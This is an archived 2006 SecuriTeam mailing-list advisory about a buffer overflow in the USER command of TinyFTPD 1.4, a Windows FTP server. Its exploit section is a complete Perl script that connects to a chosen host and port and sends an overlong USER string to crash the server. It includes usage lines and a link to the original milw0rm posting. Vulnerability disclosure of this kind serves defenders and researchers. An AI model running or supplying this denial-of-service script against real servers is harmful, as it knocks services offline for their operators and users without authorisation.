[EXPL] TinyFTPD USER Buffer Overflow DoS (Exploit)
SecuriTeam <[email protected]> 9 May 2006 19:36:46 +0200
| Newsgroups | gmane.comp.security.securiteam |
|---|---|
| Message-ID | <[email protected]> |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
TinyFTPD USER Buffer Overflow DoS (Exploit)
------------------------------------------------------------------------
SUMMARY
Tiny FTPd, is a Windows NT family FTP server.
Tiny FTPd contains a buffer overflow condition that allows remote
attackers to perform DoS attacks on the server.
DETAILS
Vulnerable Systems:
* TinyFTPD version 1.4
Exploit:
#!/bin/perl
#
# Title: TinyFTPD <= 1.4 USER command D.O.S
# Credits: [Oo]
#
#
use IO::Socket;
print "[i] TinyFTPD <= 1.4 USER command D.O.S\n";
print "[i] coded by [Oo]\n";
if (@ARGV < 2)
{
print "\n[*] Usage: tinyftpd_dos.pl host port\n";
print "[*] Exemple: tinyftpd_dos.pl 192.168.0.1 21\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$exploit = "(A" x 9000;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip",
PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending bad request...\n";
print $socket "USER $exploit\n";
sleep(5);
close($socket);
print "[?] DoSed?\n";
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.milw0rm.com/exploits/1758>
http://www.milw0rm.com/exploits/1758
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.